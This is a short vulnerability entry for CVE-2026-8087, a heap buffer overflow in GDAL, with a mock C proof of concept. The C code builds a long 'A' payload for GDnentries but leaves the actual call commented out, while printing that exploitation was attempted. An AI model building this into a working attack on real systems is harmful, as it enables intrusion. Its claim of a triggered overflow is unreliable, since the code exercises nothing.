CVE-2026-8087 OSGeo GDAL堆缓冲区溢出漏洞

#include <stdio.h> #include <string.h> // Mocking the vulnerable function signature // void GDnentries(const char *DataFieldName); int main() { // Create a long malicious string to trigger the overflow char payload[1000]; memset(payload, 'A', sizeof(payload) - 1); payload[sizeof(payload) - 1] = '\0'; printf("[+] Triggering Heap Buffer Overflow in GDnentries...\n"); // In a real scenario, this function would be called from the GDAL library // passing the crafted 'DataFieldName' argument. // GDnentries(payload); printf("[+] Exploitation attempt finished.\n"); return 0; }